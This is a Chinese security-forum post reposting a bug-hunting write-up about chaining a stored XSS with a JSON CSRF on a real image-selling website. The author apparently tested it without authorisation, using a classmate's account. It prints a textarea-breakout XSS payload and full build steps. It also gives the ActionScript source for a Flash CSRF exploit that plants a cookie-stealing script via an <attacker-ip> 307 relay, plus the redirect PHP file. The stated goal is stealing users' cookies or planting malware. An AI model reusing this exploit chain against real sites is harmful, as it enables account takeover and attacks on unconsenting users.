安全矩阵

 找回密码
 立即注册
搜索
查看: 4967|回复: 0

漏洞挖掘 | 一次XSS和CSRF的组合拳进攻 (CSRF+JSON)

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-2-24 00:11:13 | 显示全部楼层 |阅读模式
原文链接:漏洞挖掘 | 一次XSS和CSRF的组合拳进攻 (CSRF+JSON)

0x00 起因
和一个高中同学聊天,无意间聊到了某个图片网

什么?25一张?这么贵?
本着乐于助人的精神,进网站看了看,鼠标右键确实被禁止了,不能保存图片
但是审查元素后,可以清楚的看到图片的链接,而且还是高清无水印,emmmmmm这网站做得也是没谁了
解决了高中同学的问题后,想着下午又挺无聊的,于是就拿这个网站做了一下小小的测试(好吧,其实是我不想复习,复习真的好无聊 o(╥﹏╥)o)
便有了后面的内容

PS:
  • 前面信息收集什么的就不多说了,和本文内容也没多大关系,就直接讲重点吧
  • 因为自己浏览器的问题,验证码加载不出来,所以后面都是用同学的账号做的测试,高强度打码


0x01 发现存储型XSS漏洞
大概逛了一下网站,最后进入了信息设置面板

看着这么多的框,总感觉存在XSS,审查元素后发现 简介 是用<textarea>这个标签来闭合的,于是构造 payload
</textarea><script>alert(/xss/)</script><textarea>
保存刷新后,成功弹出 xss

至此存储型XSS验证成功

0x02 分界线
因为这个页面只有自己能看见,所以也就自己能触发(别人看资料的时候<>会被转义,也就没用了)
感觉这个洞很鸡肋,这个时候又想到了CSRF,如果每个人都自动将简介改成精心生成的恶意代码,那么这样每个人想再次修改自己的资料的时候,就可以触发 存储型XSS,我们也就可以盗取cookie、挂马或者其他一系列骚操作

0x03 CSRF 漏洞
按照原来一样的操作
修改信息 –> 保存时抓包 –> 生成CSRF POC –> 打开POC –> 检验是否利用成功
但是这里遇到一个问题

以前post提交的数据都是形如 a=123&b=456 这种,而这里提交的却是 json 格式的
于是这里就要利用到一些骚姿势
偷一张大佬们的图(这里因为需要验证content-type,目前搜到的就只有这种方法)

后面的大概攻击流程就是这样
生成 csrf.swf 文件
  1. 从Adobe官网安装Flex SDK用于将ActionScript编译为swf文件。Flex需要安装32位JVM,可以从Oracle官网下载安装32位的JDK。(这里只能用32位的,64位的不行)
  2. 创建一个名为csrf.as的文本文件,写入以下ActionScript代码。
  3. 将<attacker-ip>占位符替换为攻击者服务器的ip或者域名(307跳转页面的地址)
  4. 将此文件编译为csrf.swf,只需运行mxmlc csrf.as命令。这将创建一个名为csrf.swf的文件。
复制代码




  1. package
  2. {
  3. import flash.display.Sprite;
  4. import flash.net.URLLoader;
  5. import flash.net.URLRequest;
  6. import flash.net.URLRequestHeader;
  7. import flash.net.URLRequestMethod;public class csrf extends Sprite
  8. {
  9. public function csrf()
  10. {
  11. super();
  12. var member1:Object = null;
  13. var myJson:String = null;
  14. member1 = new Object();
  15. member1 = {
  16. "gender":"2",
  17.                 "homeCity":"4170",
  18.                 "nowCity":"4170",
  19.                 "profession":"23",
  20.                 "description":"</textarea><script>alert(document.cookie)</script><textarea>",
  21.                 "signature":""
  22. };
  23. var myData:Object = member1;
  24. myJson = JSON.stringify(myData);
  25. myJson = JSON.stringify(myData);
  26. var url:String = "http://<attacker-ip>/307.php";
  27. var request:URLRequest = new URLRequest(url);
  28. request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));
  29. request.data = myJson;
  30. request.method = URLRequestMethod.POST;
  31. var urlLoader:URLLoader = new URLLoader();try
  32. {
  33. urlLoader.load(request);
  34. return;
  35. }
  36. catch(e:Error)
  37. {
  38. trace(e);
  39. return;
  40. }
  41. }
  42. }
  43. }
复制代码



csrf.swf生成成功截图

重定向php文件https://xxxx.cn/xxxx/xxxxx 为你要重定向的地址,即修改用户简介的地址,目标网站,不是攻击者的服务器
307.php 文件内容

  1. <?php
  2. // redirect automatically
  3. header("Location: https://xxxx.cn/xxxx/xxxxx", true, 307);
  4. ?>
复制代码

利用过程
攻击者将 csrf.swf 和 307.php 文件放入同一目录
受害者在登陆存在CSRF漏洞的网站后,访问攻击者服务器上的swf文件

点击启动flash
可以在下面的网络选项中,看到307跳转成功,而且已经成功提交了POST数据

此时我们再刷新受害者个人消息页面,即可成功弹出 cookie 值

到此 CSRF+XSS 组合拳成功打出

0x04 总结
  • 有框的地方就可能存在XSS
  • 一定要细心,不仅仅在网站审查上要细心
  • CSRF + JSON 网上也有很多,不过都不是以实战来讲的
  • 网上有些 CSRF + JSON 的利用有坑(这也是为什么我之前花了一整天都没成功)


0x05 参考
在JSON端点上利用CSRF漏洞的实践教程
http://www.4hou.com/web/10234.html
Exploiting JSON CSRF
https://www.secpulse.com/archives/61297.html
Exploiting JSON Cross Site Request Forgery (CSRF) using Flash
https://www.geekboy.ninja/blog/tag/json-csrf/


















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 23:45 , Processed in 0.013450 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表